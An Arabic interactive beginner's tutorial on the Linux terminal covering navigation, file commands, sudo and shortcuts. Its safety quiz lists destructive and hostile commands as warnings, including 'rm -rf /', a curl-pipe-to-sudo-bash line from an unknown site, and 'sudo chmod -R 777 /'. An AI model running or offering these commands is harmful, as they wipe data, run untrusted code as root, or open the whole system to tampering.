>_الطرفية

درس تفاعلي · لغير التقنيين

الطرفية في لينكس
تحدّث مع حاسوبك بالكلمات

الشاشة السوداء التي يكتب فيها المبرمجون ليست سحراً ولا خطراً. في هذا الدرس ستتعلّم أهم أوامرها، وتجرّبها بنفسك في طرفية تجريبية داخل الصفحة لا يمكن أن تؤذي جهازك.

١٣ صفحة قصيرة نحو ٣٠ دقيقة طرفية تجريبية آمنة واختبار في النهاية

للتنقّل: الأزرار في الأسفل، أو أسهم لوحة المفاتيح.

على الهاتف: اسحب بإصبعك يميناً للصفحة التالية، ويساراً للسابقة.

١ · الفكرة

الطرفية: أن تطلب بالكلمات بدل النقر

اعتدت أن تستخدم الحاسوب بالنقر على الأيقونات والقوائم. الطرفية (Terminal) طريقة أخرى للشيء نفسه: تكتب ما تريده في سطر واحد، فينفّذه الحاسوب فوراً.

🖱️ النقر: الإشارة إلى الصور

في المطعم تشير إلى صورة الطبق في القائمة. سهل ولا يحتاج حفظ شيء، لكنك محدود بما هو مصوَّر أمامك.

⌨️ الطرفية: أن تطلب بدقّة

تقول للنادل: «قهوة كبيرة، بلا سكر، مع حليب الشوفان». أسرع وأدق، ويمكنك طلب ما ليس في الصور، لكن عليك أن تعرف ماذا تقول.

قارن بنفسك: اختر مهمة

بالفأرة: ٤ خطوات
  1. افتح مدير الملفات.
  2. انقر بالزر الأيمن في مكان فارغ.
  3. اختر «مجلد جديد».
  4. اكتب الاسم واضغط Enter.
بالطرفية: سطر واحد
$ mkdir trip-photos

«أنشئ مجلداً اسمه trip-photos». الكلمة mkdir اختصار make directory.

بالفأرة: ٥ خطوات أو أكثر
  1. افتح المجلد الذي فيه الصور.
  2. رتّب الملفات حسب النوع.
  3. حدّد الصور بالسحب أو واحدة واحدة.
  4. انسخها، ثم افتح المجلد الآخر.
  5. الصق، وتأكد أنك لم تنسَ صورة.
بالطرفية: سطر واحد
$ cp *.jpg backup/

«انسخ كل ما ينتهي بـ .jpg إلى المجلد backup». النجمة * تعني «أي شيء».

بالفأرة: ٣ خطوات
  1. افتح الإعدادات.
  2. ابحث عن «التخزين» أو «حول الجهاز».
  3. انتظر حتى تُحسب المساحة.
بالطرفية: سطر واحد
$ df -h

«أظهر مساحة الأقراص بوحدات يفهمها الإنسان». الحرف h من human.

لماذا تتعلّمها؟ لأن الخوادم التي تشغّل مواقع الإنترنت تُدار بها، ولأن كثيراً من الشروحات والحلول على الإنترنت تقول لك «انسخ هذا الأمر»، ومن الأفضل أن تفهم ما تنسخه. ستسمع أسماء عدة لشيء واحد تقريباً: الطرفية (Terminal)، وسطر الأوامر (Command Line)، والصَّدَفة (Shell) وأشهرها Bash.

٢ · التعرّف

اقرأ ما تقوله لك الطرفية

عندما تفتح الطرفية يظهر سطر ينتظرك اسمه «المحثّ» (Prompt). اضغط على كل جزء منه لتعرف معناه.

@:

اسم المستخدم: أنت

كل شخص يستخدم الجهاز له اسم خاص ومجلد خاص بملفاته. هنا المستخدمة اسمها sara.

اسم الجهاز

مفيد عندما تتصل بأكثر من جهاز، مثل خادم بعيد، لتعرف دائماً على أي جهاز تكتب الآن.

مكانك الآن

المجلد الذي «تقف» فيه. الرمز ~ (يُنطق «تِلدا») اختصار لمجلدك الرئيسي /home/sara، فالمعنى هنا: مجلد Documents داخل بيتك.

علامة الاستعداد

الطرفية جاهزة وتنتظر أمرك. إذا رأيت # بدلاً من $ فأنت تعمل بصلاحية المدير (root)، فانتبه لكل ما تكتبه.

والأمر نفسه جملة لها قواعد

$

الأمر: الفعل. ماذا تريد؟

يأتي دائماً أولاً. ls اختصار list، أي «اعرض».

الخيار (Option): كيف تريده؟

يبدأ بشرطة - ويغيّر طريقة التنفيذ. هنا -l من long، أي «بالتفصيل».

المُعطى (Argument): على ماذا؟

الشيء الذي يعمل عليه الأمر، وهو هنا مجلد الصور. فالجملة كاملة: «اعرض، بالتفصيل، محتويات Pictures».

ثلاث قواعد ذهبية: ضع مسافة بين كل جزء. والحروف الكبيرة غير الصغيرة: Pictures ليست pictures. والأوامر إنجليزية، فبدّل لغة لوحة المفاتيح قبل الكتابة.

لفتح الطرفية: في Ubuntu اضغط Ctrl + Alt + T. وفي Mac افتح تطبيق Terminal، ومعظم أوامر هذا الدرس تعمل فيه أيضاً. وفي Windows يمكنك تثبيت WSL لتحصل على لينكس داخله.

٣ · جرّب

أول أوامرك

هذه طرفية تجريبية تعمل داخل الصفحة فقط. انقر داخلها، اكتب الأمر، ثم اضغط Enter. ويمكنك أيضاً الضغط على الأزرار الصغيرة تحتها.

المهام

  1. اسأل «من أنا؟»: whoami
  2. اعرف التاريخ والوقت: date
  3. اجعل الطرفية تكرّر كلامك: echo Hello
  4. نظّف الشاشة: clear

اكتب help في أي وقت لترى الأوامر التي تفهمها هذه الطرفية. وإن أخطأت فلا بأس: ستظهر رسالة الخطأ الحقيقية كما في لينكس، وتحتها شرح بالعربية.

٤ · المكان

أين أنا؟ الملفات شجرة

الملفات في لينكس مرتّبة كشجرة مقلوبة: في الأعلى الجذر /، ومنه تتفرّع المجلدات، وكل مجلد قد يحوي ملفات ومجلدات أخرى. مجلدك الشخصي هو /home/sara واختصاره ~.

المهام

  1. اعرف مكانك بالضبط: pwd
  2. اعرض ما في المجلد: ls
  3. اعرض ما في مجلد الصور دون أن تدخله: ls Pictures
  4. اطلب التفاصيل: ls -l
  5. اكشف الملفات المخفية: ls -a

شجرة الملفات

pwd اختصار print working directory: «اطبع المجلد الذي أعمل فيه». المجلدات تظهر في الطرفية باللون الأزرق والملفات بالأبيض. والملفات التي يبدأ اسمها بنقطة مثل .bashrc مخفية، وهي عادة ملفات إعدادات.

٥ · التنقّل

تنقّل بالأمر cd

cd اختصار change directory، أي «غيّر المجلد». هو مثل النقر مرتين على مجلد لفتحه. راقب شارة «أنت هنا» في الشجرة وهي تتحرك.

cd Documents

ادخل مجلد Documents الموجود حيث تقف.

cd ..

اصعد خطوة للأعلى. النقطتان تعنيان «المجلد الأب» الذي يحتويني.

cd ~ أو cd

عد إلى بيتك من أي مكان.

cd /

اذهب إلى الجذر، أعلى الشجرة.

المهام

  1. ادخل مجلد المستندات: cd Documents
  2. اصعد خطوة للأعلى: cd ..
  3. اذهب إلى Pictures/trip بأمر واحد
  4. اقفز إلى الجذر cd / ثم اعرض ما فيه ls
  5. عد إلى بيتك: cd ~

شجرة الملفات

المسار نوعان: نسبي مثل Pictures/trip، يبدأ من مكانك الآن كأنك تقول «البيت المجاور». ومطلق مثل /home/sara/Pictures، يبدأ من الجذر / كالعنوان البريدي الكامل، فيعمل من أي مكان.

٦ · الإنشاء

أنشئ مجلدات وملفات واقرأها

الآن ستصنع أشياء بنفسك: مجلداً للوصفات، وفيه ملف لوصفة البيتزا.

mkdir اسم

أنشئ مجلداً (make directory).

touch اسم

أنشئ ملفاً فارغاً.

echo "نص" > ملف

اكتب النص داخل الملف، ويستبدل ما كان فيه. أما >> فتضيف النص في آخر الملف.

cat ملف

اعرض محتوى الملف على الشاشة.

المهام

  1. أنشئ مجلداً للوصفات: mkdir recipes
  2. ادخله: cd recipes
  3. أنشئ ملفاً فارغاً: touch pizza.txt
  4. اكتب فيه: echo "flour, water, cheese" > pizza.txt
  5. اقرأه: cat pizza.txt

شجرة الملفات

الأسماء التي فيها مسافة تحتاج علامتي تنصيص: mkdir "my recipes". من دونهما ستفهم الطرفية أنك تريد مجلدين: my و recipes. لذلك يفضّل كثيرون الشرطة بدل المسافة: my-recipes.

٧ · الترتيب

انسخ، انقل، أعد التسمية، احذف

الصيغة واحدة تقريباً: الأمر، ثم المصدر، ثم الوجهة.

cp مصدر وجهة

انسخ (copy). يبقى الأصل مكانه. ولنسخ مجلد أضف -r.

mv مصدر وجهة

انقل (move). وإذا كانت الوجهة اسماً جديداً في المكان نفسه فهذه إعادة تسمية.

rm ملف

احذف (remove). ولحذف مجلد بكل ما فيه: rm -r مجلد.

⚠️ لا توجد سلة محذوفات في الطرفية. ما تحذفه بـ rm يختفي فوراً ونهائياً، ولن تُسأل «هل أنت متأكد؟». اقرأ الأمر مرتين قبل أن تضغط Enter.

المهام

  1. انسخ الملف: cp hello.txt hello-copy.txt
  2. انقل النسخة إلى المستندات: mv hello-copy.txt Documents/
  3. أعد تسمية التقرير: mv Documents/report.txt Documents/report-2026.txt
  4. احذف الأغنية: rm Downloads/song.mp3

شجرة الملفات

٨ · الحيل

حيل يستخدمها المحترفون كل يوم

لا أحد يكتب كل حرف بنفسه. هذه الاختصارات تجعل الطرفية أسرع من الفأرة.

Tab الإكمال التلقائي

اكتب أول حروف الاسم ثم اضغط Tab فتكمله الطرفية. إذا وُجد أكثر من احتمال، تعرضها لك.

الأوامر السابقة

استرجع ما كتبته قبل قليل بدل أن تعيد كتابته.

Ctrl+C إيقاف

أوقف أمراً عالقاً أو ألغِ السطر الذي تكتبه. انتبه: هنا لا تعني «نسخ». للنسخ واللصق في الطرفية استخدم Ctrl+Shift+C و V.

--help و man

اسأل أي أمر عن طريقة استخدامه: ls --help أو دليله الكامل man ls.

history

يعرض كل ما كتبته سابقاً مرقّماً.

clear أو Ctrl+L

نظّف الشاشة حين تزدحم.

المهام

  1. اكتب cat hel ثم اضغط Tab
  2. اضغط لتسترجع آخر أمر
  3. اكتب أي شيء ثم ألغِه بـ Ctrl+C
  4. اسأل أمراً عن نفسه: ls --help أو man cp
  5. اعرض سجلّك: history

على الهاتف: استخدم أزرار Tab و ↑ و Ctrl+C أسفل الطرفية.

٩ · الأمان

sudo: قوة المدير ومسؤوليته

بعض الأوامر تغيّر النظام نفسه، مثل تثبيت البرامج. هذه تحتاج أن تكتب قبلها sudo، أي «نفّذ بصفتي المدير»، ثم تُطلب منك كلمة المرور.

مثال: تثبيت برنامج

$ sudo apt install vlc

«بصلاحية المدير، يا مدير الحزم apt، ثبّت برنامج VLC». وفي Ubuntu يُحدَّث النظام كله بـ sudo apt update ثم sudo apt upgrade.

كلمة المرور لا تظهر!

عندما تكتب كلمة المرور بعد sudo لا يظهر أي شيء على الشاشة، ولا حتى نجوم. هذا ليس عطلاً: اكتبها كما هي ثم اضغط Enter.

آمن أم خطير؟ صنّف هذه الأوامر

ls -la ~
sudo apt update
rm -rf /
curl http://unknown.site/fix.sh | sudo bash
cat notes.txt
sudo chmod -R 777 /

قواعد الأمان الأربع

  1. لا تلصق أمراً لا تفهمه، خاصة إذا بدأ بـ sudo.
  2. اقرأ الأمر كاملاً قبل أن تضغط Enter.
  3. rm لا يعرف سلة المحذوفات.
  4. خذ الأوامر من المصادر الرسمية، مثل موقع البرنامج نفسه أو وثائق توزيعتك.

١٠ · التحدّي

التحدّي: رتّب مجلد التنزيلات

مجلد Downloads صار فوضى. استخدم ما تعلّمته لترتيبه. هذه المرة لن نعطيك الأوامر، فقط المهام.

المهام

  1. أنشئ مجلداً اسمه Music داخل Downloads
  2. انقل song.mp3 إلى Downloads/Music
  3. انقل photo1.jpg و photo2.jpg إلى Pictures
  4. انقل الفاتورة invoice.pdf إلى Documents
  5. احذف ملف التثبيت القديم setup.deb

تلميح: النجمة تعني «أي شيء»، فـ *.jpg تعني كل ملفات jpg دفعة واحدة.

شجرة الملفات

أحتاج مساعدة: أرني الحل
cd Downloads mkdir Music mv song.mp3 Music/ mv *.jpg ~/Pictures/ mv invoice.pdf ~/Documents/ rm setup.deb

اختبار

اختبر نفسك

ستّة أسئلة سريعة. اضغط على الإجابة لترى إن كانت صحيحة ولماذا.

١. ماذا يفعل الأمر pwd؟

٢. أنت في ~/Pictures/trip. أي أمر يعيدك إلى ~/Pictures؟

٣. في الأمر ls -l Pictures، ما دور -l؟

٤. ماذا يحدث لملف بعد rm notes.txt؟

٥. كيف تعيد تسمية old.txt إلى new.txt؟

٦. وجدت في منتدى مجهول أمراً طويلاً يبدأ بـ sudo. ماذا تفعل؟

الخلاصة

ورقة الأوامر: احفظها أو صوّرها

هذه الأوامر تغطّي معظم ما يحتاجه المستخدم العادي في الطرفية.

pwdأين أنا؟
ls -laماذا يوجد هنا؟ مع التفاصيل والمخفي
cd مجلدادخل مجلداً. cd .. للأعلى، cd ~ للبيت
mkdir اسمأنشئ مجلداً
touch اسمأنشئ ملفاً فارغاً
cat ملفاعرض محتوى ملف
cp مصدر وجهةانسخ، و -r للمجلدات
mv مصدر وجهةانقل أو أعد التسمية
rm ملفاحذف نهائياً، و -r للمجلدات
sudo أمرنفّذ بصلاحية المدير، بحذر
أمر --helpكيف أستخدم هذا الأمر؟
Tab ↑ Ctrl+Cأكمل، استرجع، أوقف

ماذا تعلّمنا؟

  • الطرفية طريقة لطلب ما تريده بالكلمات بدل النقر.
  • كل أمر جملة: فعل، ثم خيارات، ثم مُعطيات.
  • الملفات شجرة تبدأ من /، وبيتك هو ~.
  • rm و sudo قويّان، فاقرأ قبل أن تضغط Enter.

ماذا بعد؟

  • جرّب طرفية حقيقية: Ubuntu، أو WSL في Windows، أو Terminal في Mac.
  • كرّر هذا الدرس بعد أسبوع لتثبّت الأوامر في ذاكرتك.
  • حين تجد أمراً جديداً، اسأله أولاً: --help.

← تصفّح بقية الدروس